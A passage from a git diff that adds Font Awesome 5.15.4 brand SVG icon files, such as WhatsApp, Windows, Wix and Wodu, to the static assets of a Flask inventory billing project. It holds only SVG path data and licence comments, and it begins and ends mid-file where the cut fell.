14.6-24.4 29.3-24.4zm-136.4 48.6c-14.5 0-29.3-9.7-29.3-24.2 0-14.8 14.8-24.4 29.3-24.4 14.8 0 24.4 9.7 24.4 24.4 0 14.6-9.6 24.2-24.4 24.2zM563 319.4c0-77.9-77.9-141.3-165.4-141.3-92.7 0-165.4 63.4-165.4 141.3S305 460.7 397.6 460.7c19.3 0 38.9-5.1 58.6-9.9l53.4 29.3-14.8-48.6C534 402.1 563 363.2 563 319.4zm-219.1-24.5c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.8 0 24.4 9.7 24.4 19.3 0 10-9.7 19.6-24.4 19.6zm107.1 0c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.5 0 24.4 9.7 24.4 19.3.1 10-9.9 19.6-24.4 19.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/whatsapp-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/whatsapp-square.svg new file mode 100644 index 00000000..c2506040 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/whatsapp-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 122.8c-72.7 0-131.8 59.1-131.9 131.8 0 24.9 7 49.2 20.2 70.1l3.1 5-13.3 48.6 49.9-13.1 4.8 2.9c20.2 12 43.4 18.4 67.1 18.4h.1c72.6 0 133.3-59.1 133.3-131.8 0-35.2-15.2-68.3-40.1-93.2-25-25-58-38.7-93.2-38.7zm77.5 188.4c-3.3 9.3-19.1 17.7-26.7 18.8-12.6 1.9-22.4.9-47.5-9.9-39.7-17.2-65.7-57.2-67.7-59.8-2-2.6-16.2-21.5-16.2-41s10.2-29.1 13.9-33.1c3.6-4 7.9-5 10.6-5 2.6 0 5.3 0 7.6.1 2.4.1 5.7-.9 8.9 6.8 3.3 7.9 11.2 27.4 12.2 29.4s1.7 4.3.3 6.9c-7.6 15.2-15.7 14.6-11.6 21.6 15.3 26.3 30.6 35.4 53.9 47.1 4 2 6.3 1.7 8.6-1 2.3-2.6 9.9-11.6 12.5-15.5 2.6-4 5.3-3.3 8.9-2 3.6 1.3 23.1 10.9 27.1 12.9s6.6 3 7.6 4.6c.9 1.9.9 9.9-2.4 19.1zM400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM223.9 413.2c-26.6 0-52.7-6.7-75.8-19.3L64 416l22.5-82.2c-13.9-24-21.2-51.3-21.2-79.3C65.4 167.1 136.5 96 223.9 96c42.4 0 82.2 16.5 112.2 46.5 29.9 30 47.9 69.8 47.9 112.2 0 87.4-72.7 158.5-160.1 158.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/whatsapp.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/whatsapp.svg new file mode 100644 index 00000000..934d1808 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/whatsapp.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/whmcs.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/whmcs.svg new file mode 100644 index 00000000..84f4d6b0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/whmcs.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 161v-21.3l-28.5-8.8-2.2-10.4 20.1-20.7L427 80.4l-29 7.5-7.2-7.5 7.5-28.2-19.1-11.6-21.3 21-10.7-3.2-7-26.4h-22.6l-6.2 26.4-12.1 3.2-19.7-21-19.4 11 8.1 27.7-8.1 8.4-28.5-7.5-11 19.1 20.7 21-2.9 10.4-28.5 7.8-.3 21.7 28.8 7.5 2.4 12.1-20.1 19.9 10.4 18.5 29.6-7.5 7.2 8.6-8.1 26.9 19.9 11.6 19.4-20.4 11.6 2.9 6.7 28.5 22.6.3 6.7-28.8 11.6-3.5 20.7 21.6 20.4-12.1-8.8-28 7.8-8.1 28.8 8.8 10.3-20.1-20.9-18.8 2.2-12.1 29.1-7zm-119.2 45.2c-31.3 0-56.8-25.4-56.8-56.8s25.4-56.8 56.8-56.8 56.8 25.4 56.8 56.8c0 31.5-25.4 56.8-56.8 56.8zm72.3 16.4l46.9 14.5V277l-55.1 13.4-4.1 22.7 38.9 35.3-19.2 37.9-54-16.7-14.6 15.2 16.7 52.5-38.3 22.7-38.9-40.5-21.7 6.6-12.6 54-42.4-.5-12.6-53.6-21.7-5.6-36.4 38.4-37.4-21.7 15.2-50.5-13.7-16.1-55.5 14.1-19.7-34.8 37.9-37.4-4.8-22.8-54-14.1.5-40.9L54 219.9l5.7-19.7-38.9-39.4L41.5 125l53.6 14.1 15.2-15.7-15.2-52 36.4-20.7 36.8 39.4L191 84l11.6-52H245l11.6 45.9L234 72l-6.3-1.7-3.3 5.7-11 19.1-3.3 5.6 4.6 4.6 17.2 17.4-.3 1-23.8 6.5-6.2 1.7-.1 6.4-.2 12.9C153.8 161.6 118 204 118 254.7c0 58.3 47.3 105.7 105.7 105.7 50.5 0 92.7-35.4 103.2-82.8l13.2.2 6.9.1 1.6-6.7 5.6-24 1.9-.6 17.1 17.8 4.7 4.9 5.8-3.4 20.4-12.1 5.8-3.5-2-6.5-6.8-21.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wikipedia-w.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wikipedia-w.svg new file mode 100644 index 00000000..5c3b3fc8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wikipedia-w.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M640 51.2l-.3 12.2c-28.1.8-45 15.8-55.8 40.3-25 57.8-103.3 240-155.3 358.6H415l-81.9-193.1c-32.5 63.6-68.3 130-99.2 193.1-.3.3-15 0-15-.3C172 352.3 122.8 243.4 75.8 133.4 64.4 106.7 26.4 63.4.2 63.7c0-3.1-.3-10-.3-14.2h161.9v13.9c-19.2 1.1-52.8 13.3-43.3 34.2 21.9 49.7 103.6 240.3 125.6 288.6 15-29.7 57.8-109.2 75.3-142.8-13.9-28.3-58.6-133.9-72.8-160-9.7-17.8-36.1-19.4-55.8-19.7V49.8l142.5.3v13.1c-19.4.6-38.1 7.8-29.4 26.1 18.9 40 30.6 68.1 48.1 104.7 5.6-10.8 34.7-69.4 48.1-100.8 8.9-20.6-3.9-28.6-38.6-29.4.3-3.6 0-10.3.3-13.6 44.4-.3 111.1-.3 123.1-.6v13.6c-22.5.8-45.8 12.8-58.1 31.7l-59.2 122.8c6.4 16.1 63.3 142.8 69.2 156.7L559.2 91.8c-8.6-23.1-36.4-28.1-47.2-28.3V49.6l127.8 1.1.2.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/windows.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/windows.svg new file mode 100644 index 00000000..9aa2c4a5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/windows.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 93.7l183.6-25.3v177.4H0V93.7zm0 324.6l183.6 25.3V268.4H0v149.9zm203.8 28L448 480V268.4H203.8v177.9zm0-380.6v180.1H448V32L203.8 65.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wix.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wix.svg new file mode 100644 index 00000000..c3b6400b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wix.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M393.38 131.69c0 13.03 2.08 32.69-28.68 43.83-9.52 3.45-15.95 9.66-15.95 9.66 0-31 4.72-42.22 17.4-48.86 9.75-5.11 27.23-4.63 27.23-4.63zm-115.8 35.54l-34.24 132.66-28.48-108.57c-7.69-31.99-20.81-48.53-48.43-48.53-27.37 0-40.66 16.18-48.43 48.53L89.52 299.89 55.28 167.23C49.73 140.51 23.86 128.96 0 131.96l65.57 247.93s21.63 1.56 32.46-3.96c14.22-7.25 20.98-12.84 29.59-46.57 7.67-30.07 29.11-118.41 31.12-124.7 4.76-14.94 11.09-13.81 15.4 0 1.97 6.3 23.45 94.63 31.12 124.7 8.6 33.73 15.37 39.32 29.59 46.57 10.82 5.52 32.46 3.96 32.46 3.96l65.57-247.93c-24.42-3.07-49.82 8.93-55.3 35.27zm115.78 5.21s-4.1 6.34-13.46 11.57c-6.01 3.36-11.78 5.64-17.97 8.61-15.14 7.26-13.18 13.95-13.18 35.2v152.07s16.55 2.09 27.37-3.43c13.93-7.1 17.13-13.95 17.26-44.78V181.41l-.02.01v-8.98zm163.44 84.08L640 132.78s-35.11-5.98-52.5 9.85c-13.3 12.1-24.41 29.55-54.18 72.47-.47.73-6.25 10.54-13.07 0-29.29-42.23-40.8-60.29-54.18-72.47-17.39-15.83-52.5-9.85-52.5-9.85l83.2 123.74-82.97 123.36s36.57 4.62 53.95-11.21c11.49-10.46 17.58-20.37 52.51-70.72 6.81-10.52 12.57-.77 13.07 0 29.4 42.38 39.23 58.06 53.14 70.72 17.39 15.83 53.32 11.21 53.32 11.21L556.8 256.52z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wizards-of-the-coast.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wizards-of-the-coast.svg new file mode 100644 index 00000000..6ddf2151 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wizards-of-the-coast.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M219.19 345.69c-1.9 1.38-11.07 8.44-.26 23.57 4.64 6.42 14.11 12.79 21.73 6.55 6.5-4.88 7.35-12.92.26-23.04-5.47-7.76-14.28-12.88-21.73-7.08zm336.75 75.94c-.34 1.7-.55 1.67.79 0 2.09-4.19 4.19-10.21 4.98-19.9 3.14-38.49-40.33-71.49-101.34-78.03-54.73-6.02-124.38 9.17-188.8 60.49l-.26 1.57c2.62 4.98 4.98 10.74 3.4 21.21l.79.26c63.89-58.4 131.19-77.25 184.35-73.85 58.4 3.67 100.03 34.04 100.03 68.08-.01 9.96-2.63 15.72-3.94 20.17zM392.28 240.42c.79 7.07 4.19 10.21 9.17 10.47 5.5.26 9.43-2.62 10.47-6.55.79-3.4 2.09-29.85 2.09-29.85s-11.26 6.55-14.93 10.47c-3.66 3.68-7.33 8.39-6.8 15.46zm-50.02-151.1C137.75 89.32 13.1 226.8.79 241.2c-1.05.52-1.31.79.79 1.31 60.49 16.5 155.81 81.18 196.13 202.16l1.05.26c55.25-69.92 140.88-128.05 236.99-128.05 80.92 0 130.15 42.16 130.15 80.39 0 18.33-6.55 33.52-22.26 46.35 0 .96-.2.79.79.79 14.66-10.74 27.5-28.8 27.5-48.18 0-22.78-12.05-38.23-12.05-38.23 7.07 7.07 10.74 16.24 10.74 16.24 5.76-40.85 26.97-62.32 26.97-62.32-2.36-9.69-6.81-17.81-6.81-17.81 7.59 8.12 14.4 27.5 14.4 41.37 0 10.47-3.4 22.78-12.57 31.95l.26.52c8.12-4.98 16.5-16.76 16.5-37.97 0-15.71-4.71-25.92-4.71-25.92 5.76-5.24 11.26-9.17 15.97-11.78.79 3.4 2.09 9.69 2.36 14.93 0 1.05.79 1.83 1.05 0 .79-5.76-.26-16.24-.26-16.5 6.02-3.14 9.69-4.45 9.69-4.45C617.74 176 489.43 89.32 342.26 89.32zm-99.24 289.62c-11.06 8.99-24.2 4.08-30.64-4.19-7.45-9.58-6.76-24.09 4.19-32.47 14.85-11.35 27.08-.49 31.16 5.5.28.39 12.13 16.57-4.71 31.16zm2.09-136.43l9.43-17.81 11.78 70.96-12.57 6.02-24.62-28.8 14.14-26.71 3.67 4.45-1.83-8.11zm18.59 117.58l-.26-.26c2.05-4.1-2.5-6.61-17.54-31.69-1.31-2.36-3.14-2.88-4.45-2.62l-.26-.52c7.86-5.76 15.45-10.21 25.4-15.71l.52.26c1.31 1.83 2.09 2.88 3.4 4.71l-.26.52c-1.05-.26-2.36-.79-5.24.26-2.09.79-7.86 3.67-12.31 7.59v1.31c1.57 2.36 3.93 6.55 5.76 9.69h.26c10.05-6.28 7.56-4.55 11.52-7.86h.26c.52 1.83.52 1.83 1.83 5.5l-.26.26c-3.06.61-4.65.34-11.52 5.5v.26c9.46 17.02 11.01 16.75 12.57 15.97l.26.26c-2.34 1.59-6.27 4.21-9.68 6.57zm55.26-32.47c-3.14 1.57-6.02 2.88-9.95 4.98l-.26-.26c1.29-2.59 1.16-2.71-11.78-32.47l-.26-.26c-.15 0-8.9 3.65-9.95 7.33h-.52l-1.05-5.76.26-.52c7.29-4.56 25.53-11.64 27.76-12.57l.52.26 3.14 4.98-.26.52c-3.53-1.76-7.35.76-12.31 2.62v.26c12.31 32.01 12.67 30.64 14.66 30.64v.25zm44.77-16.5c-4.19 1.05-5.24 1.31-9.69 2.88l-.26-.26.52-4.45c-1.05-3.4-3.14-11.52-3.67-13.62l-.26-.26c-3.4.79-8.9 2.62-12.83 3.93l-.26.26c.79 2.62 3.14 9.95 4.19 13.88.79 2.36 1.83 2.88 2.88 3.14v.52c-3.67 1.05-7.07 2.62-10.21 3.93l-.26-.26c1.05-1.31 1.05-2.88.26-4.98-1.05-3.14-8.12-23.83-9.17-27.23-.52-1.83-1.57-3.14-2.62-3.14v-.52c3.14-1.05 6.02-2.09 10.74-3.4l.26.26-.26 4.71c1.31 3.93 2.36 7.59 3.14 9.69h.26c3.93-1.31 9.43-2.88 12.83-3.93l.26-.26-2.62-9.43c-.52-1.83-1.05-3.4-2.62-3.93v-.26c4.45-1.05 7.33-1.83 10.74-2.36l.26.26c-1.05 1.31-1.05 2.88-.52 4.45 1.57 6.28 4.71 20.43 6.28 26.45.54 2.62 1.85 3.41 2.63 3.93zm32.21-6.81l-.26.26c-4.71.52-14.14 2.36-22.52 4.19l-.26-.26.79-4.19c-1.57-7.86-3.4-18.59-4.98-26.19-.26-1.83-.79-2.88-2.62-3.67l.79-.52c9.17-1.57 20.16-2.36 24.88-2.62l.26.26c.52 2.36.79 3.14 1.57 5.5l-.26.26c-1.14-1.14-3.34-3.2-16.24-.79l-.26.26c.26 1.57 1.05 6.55 1.57 9.95l.26.26c9.52-1.68 4.76-.06 10.74-2.36h.26c0 1.57-.26 1.83-.26 5.24h-.26c-4.81-1.03-2.15-.9-10.21 0l-.26.26c.26 2.09 1.57 9.43 2.09 12.57l.26.26c1.15.38 14.21-.65 16.24-4.71h.26c-.53 2.38-1.05 4.21-1.58 6.04zm10.74-44.51c-4.45 2.36-8.12 2.88-11 2.88-.25.02-11.41 1.09-17.54-9.95-6.74-10.79-.98-25.2 5.5-31.69 8.8-8.12 23.35-10.1 28.54-17.02 8.03-10.33-13.04-22.31-29.59-5.76l-2.62-2.88 5.24-16.24c25.59-1.57 45.2-3.04 50.02 16.24.79 3.14 0 9.43-.26 12.05 0 2.62-1.83 18.85-2.09 23.04-.52 4.19-.79 18.33-.79 20.69.26 2.36.52 4.19 1.57 5.5 1.57 1.83 5.76 1.83 5.76 1.83l-.79 4.71c-11.82-1.07-10.28-.59-20.43-1.05-3.22-5.15-2.23-3.28-4.19-7.86 0 .01-4.19 3.94-7.33 5.51zm37.18 21.21c-6.35-10.58-19.82-7.16-21.73 5.5-2.63 17.08 14.3 19.79 20.69 10.21l.26.26c-.52 1.83-1.83 6.02-1.83 6.28l-.52.52c-10.3 6.87-28.5-2.5-25.66-18.59 1.94-10.87 14.44-18.93 28.8-9.95l.26.52c0 1.06-.27 3.41-.27 5.25zm5.77-87.73v-6.55c.69 0 19.65 3.28 27.76 7.33l-1.57 17.54s10.21-9.43 15.45-10.74c5.24-1.57 14.93 7.33 14.93 7.33l-11.26 11.26c-12.07-6.35-19.59-.08-20.69.79-5.29 38.72-8.6 42.17 4.45 46.09l-.52 4.71c-17.55-4.29-18.53-4.5-36.92-7.33l.79-4.71c7.25 0 7.48-5.32 7.59-6.81 0 0 4.98-53.16 4.98-55.25-.02-2.87-4.99-3.66-4.99-3.66zm10.99 114.44c-8.12-2.09-14.14-11-10.74-20.69 3.14-9.43 12.31-12.31 18.85-10.21 9.17 2.62 12.83 11.78 10.74 19.38-2.61 8.9-9.42 13.87-18.85 11.52zm42.16 9.69c-2.36-.52-7.07-2.36-8.64-2.88v-.26l1.57-1.83c.59-8.24.59-7.27.26-7.59-4.82-1.81-6.66-2.36-7.07-2.36-1.31 1.83-2.88 4.45-3.67 5.5l-.79 3.4v.26c-1.31-.26-3.93-1.31-6.02-1.57v-.26l2.62-1.83c3.4-4.71 9.95-14.14 13.88-20.16v-2.09l.52-.26c2.09.79 5.5 2.09 7.59 2.88.48.48.18-1.87-1.05 25.14-.24 1.81.02 2.6.8 3.91zm-4.71-89.82c11.25-18.27 30.76-16.19 34.04-3.4L539.7 198c2.34-6.25-2.82-9.9-4.45-11.26l1.83-3.67c12.22 10.37 16.38 13.97 22.52 20.43-25.91 73.07-30.76 80.81-24.62 84.32l-1.83 4.45c-6.37-3.35-8.9-4.42-17.81-8.64l2.09-6.81c-.26-.26-3.93 3.93-9.69 3.67-19.06-1.3-22.89-31.75-9.67-52.9zm29.33 79.34c0-5.71-6.34-7.89-7.86-5.24-1.31 2.09 1.05 4.98 2.88 8.38 1.57 2.62 2.62 6.28 1.05 9.43-2.64 6.34-12.4 5.31-15.45-.79 0-.7-.27.09 1.83-4.71l.79-.26c-.57 5.66 6.06 9.61 8.38 4.98 1.05-2.09-.52-5.5-2.09-8.38-1.57-2.62-3.67-6.28-1.83-9.69 2.72-5.06 11.25-4.47 14.66 2.36v.52l-2.36 3.4zm21.21 13.36c-1.96-3.27-.91-2.14-4.45-4.71h-.26c-2.36 4.19-5.76 10.47-8.64 16.24-1.31 2.36-1.05 3.4-.79 3.93l-.26.26-5.76-4.45.26-.26 2.09-1.31c3.14-5.76 6.55-12.05 9.17-17.02v-.26c-2.64-1.98-1.22-1.51-6.02-1.83v-.26l3.14-3.4h.26c3.67 2.36 9.95 6.81 12.31 8.9l.26.26-1.31 3.91zm27.23-44.26l-2.88-2.88c.79-2.36 1.83-4.98 2.09-7.59.75-9.74-11.52-11.84-11.52-4.98 0 4.98 7.86 19.38 7.86 27.76 0 10.21-5.76 15.71-13.88 16.5-8.38.79-20.16-10.47-20.16-10.47l4.98-14.4 2.88 2.09c-2.97 17.8 17.68 20.37 13.35 5.24-1.06-4.02-18.75-34.2 2.09-38.23 13.62-2.36 23.04 16.5 23.04 16.5l-7.85 10.46zm35.62-10.21c-11-30.38-60.49-127.53-191.95-129.62-53.42-1.05-94.27 15.45-132.76 37.97l85.63-9.17-91.39 20.69 25.14 19.64-3.93-16.5c7.5-1.71 39.15-8.45 66.77-8.9l-22.26 80.39c13.61-.7 18.97-8.98 19.64-22.78l4.98-1.05.26 26.71c-22.46 3.21-37.3 6.69-49.49 9.95l13.09-43.21-61.54-36.66 2.36 8.12 10.21 4.98c6.28 18.59 19.38 56.56 20.43 58.66 1.95 4.28 3.16 5.78 12.05 4.45l1.05 4.98c-16.08 4.86-23.66 7.61-39.02 14.4l-2.36-4.71c4.4-2.94 8.73-3.94 5.5-12.83-23.7-62.5-21.48-58.14-22.78-59.44l2.36-4.45 33.52 67.3c-3.84-11.87 1.68 1.69-32.99-78.82l-41.9 88.51 4.71-13.88-35.88-42.16 27.76 93.48-11.78 8.38C95 228.58 101.05 231.87 93.23 231.52c-5.5-.26-13.62 5.5-13.62 5.5L74.63 231c30.56-23.53 31.62-24.33 58.4-42.68l4.19 7.07s-5.76 4.19-7.86 7.07c-5.9 9.28 1.67 13.28 61.8 75.68l-18.85-58.92 39.8-10.21 25.66 30.64 4.45-12.31-4.98-24.62 13.09-3.4.52 3.14 3.67-10.47-94.27 29.33 11.26-4.98-13.62-42.42 17.28-9.17 30.11 36.14 28.54-13.09c-1.41-7.47-2.47-14.5-4.71-19.64l17.28 13.88 4.71-2.09-59.18-42.68 23.08 11.5c18.98-6.07 25.23-7.47 32.21-9.69l2.62 11c-12.55 12.55 1.43 16.82 6.55 19.38l-13.62-61.01 12.05 28.28c4.19-1.31 7.33-2.09 7.33-2.09l2.62 8.64s-3.14 1.05-6.28 2.09l8.9 20.95 33.78-65.73-20.69 61.01c42.42-24.09 81.44-36.66 131.98-35.88 67.04 1.05 167.33 40.85 199.8 139.83.78 2.1-.01 2.63-.79.27zM203.48 152.43s1.83-.52 4.19-1.31l9.43 7.59c-.4 0-3.44-.25-11.26 2.36l-2.36-8.64zm143.76 38.5c-1.57-.6-26.46-4.81-33.26 20.69l21.73 17.02 11.53-37.71zM318.43 67.07c-58.4 0-106.05 12.05-114.96 14.4v.79c8.38 2.09 14.4 4.19 21.21 11.78l1.57.26c6.55-1.83 48.97-13.88 110.24-13.88 180.16 0 301.67 116.79 301.67 223.37v9.95c0 1.31.79 2.62 1.05.52.52-2.09.79-8.64.79-19.64.26-83.79-96.63-227.55-321.57-227.55zm211.06 169.68c1.31-5.76 0-12.31-7.33-13.09-9.62-1.13-16.14 23.79-17.02 33.52-.79 5.5-1.31 14.93 6.02 14.93 4.68-.01 9.72-.91 18.33-35.36zm-61.53 42.95c-2.62-.79-9.43-.79-12.57 10.47-1.83 6.81.52 13.35 6.02 14.66 3.67 1.05 8.9.52 11.78-10.74 2.62-9.94-1.83-13.61-5.23-14.39zM491 300.65c1.83.52 3.14 1.05 5.76 1.83 0-1.83.52-8.38.79-12.05-1.05 1.31-5.5 8.12-6.55 9.95v.27z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wodu.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wodu.svg new file mode 100644 index 00000000..95254a73 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wodu.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M178.414 339.706H141.1L112.166 223.475h-.478L83.228 339.706H45.2L0 168.946H37.548L64.574 285.177h.478L94.707 168.946h35.157l29.178 117.667h.479L187.5 168.946h36.831zM271.4 212.713c38.984 0 64.1 25.828 64.1 65.291 0 39.222-25.111 65.05-64.1 65.05-38.743 0-63.855-25.828-63.855-65.05C207.547 238.541 232.659 212.713 271.4 212.713zm0 104.753c23.2 0 30.133-19.852 30.133-39.462 0-19.852-6.934-39.7-30.133-39.7-27.7 0-29.894 19.85-29.894 39.7C241.508 297.614 248.443 317.466 271.4 317.466zM435.084 323.922h-.478c-7.893 13.392-21.765 19.132-37.548 19.132-37.31 0-55.485-32.045-55.485-66.246 0-33.243 18.415-64.095 54.767-64.095 14.589 0 28.938 6.218 36.831 18.416h.24V168.946h33.96v170.76H435.084zM405.428 238.3c-22.24 0-29.894 19.134-29.894 39.463 0 19.371 8.848 39.7 29.894 39.7 22.482 0 29.178-19.613 29.178-39.94C434.606 257.436 427.432 238.3 405.428 238.3zM592.96 339.706H560.673V322.487h-.718c-8.609 13.87-23.436 20.567-37.786 20.567-36.113 0-45.2-20.328-45.2-50.941V216.061h33.959V285.9c0 20.329 5.979 30.372 21.765 30.372 18.415 0 26.306-10.283 26.306-35.393V216.061H592.96zM602.453 302.876H640v36.83H602.453z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wolf-pack-battalion.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wolf-pack-battalion.svg new file mode 100644 index 00000000..28831cdb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wolf-pack-battalion.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M267.73 471.53l10.56 15.84 5.28-12.32 5.28 7V512c21.06-7.92 21.11-66.86 25.51-97.21 4.62-31.89-.88-92.81 81.37-149.11-8.88-23.61-12-49.43-2.64-80.05C421 189 447 196.21 456.43 239.73l-30.35 8.36c11.15 23 17 46.76 13.2 72.14L412 313.18l-6.16 33.43-18.47-7-8.8 33.39-19.35-7 26.39 21.11 8.8-28.15L419 364.2l7-35.63 26.39 14.52c.25-20 7-58.06-8.8-84.45l26.39 5.28c4-22.07-2.38-39.21-7.92-56.74l22.43 9.68c-.44-25.07-29.94-56.79-61.58-58.5-20.22-1.09-56.74-25.17-54.1-51.9 2-19.87 17.45-42.62 43.11-49.7-44 36.51-9.68 67.3 5.28 73.46 4.4-11.44 17.54-69.08 0-130.2-40.39 22.87-89.65 65.1-93.2 147.79l-58 38.71-3.52 93.25L369.78 220l7 7-17.59 3.52-44 38.71-15.84-5.28-28.1 49.25-3.52 119.64 21.11 15.84-32.55 15.84-32.55-15.84 21.11-15.84-3.52-119.64-28.15-49.26-15.84 5.28-44-38.71-17.58-3.51 7-7 107.33 59.82-3.52-93.25-58.06-38.71C185 65.1 135.77 22.87 95.3 0c-17.54 61.12-4.4 118.76 0 130.2 15-6.16 49.26-36.95 5.28-73.46 25.66 7.08 41.15 29.83 43.11 49.7 2.63 26.74-33.88 50.81-54.1 51.9-31.65 1.72-61.15 33.44-61.59 58.51l22.43-9.68c-5.54 17.53-11.91 34.67-7.92 56.74l26.39-5.28c-15.76 26.39-9.05 64.43-8.8 84.45l26.39-14.52 7 35.63 24.63-5.28 8.8 28.15L153.35 366 134 373l-8.8-33.43-18.47 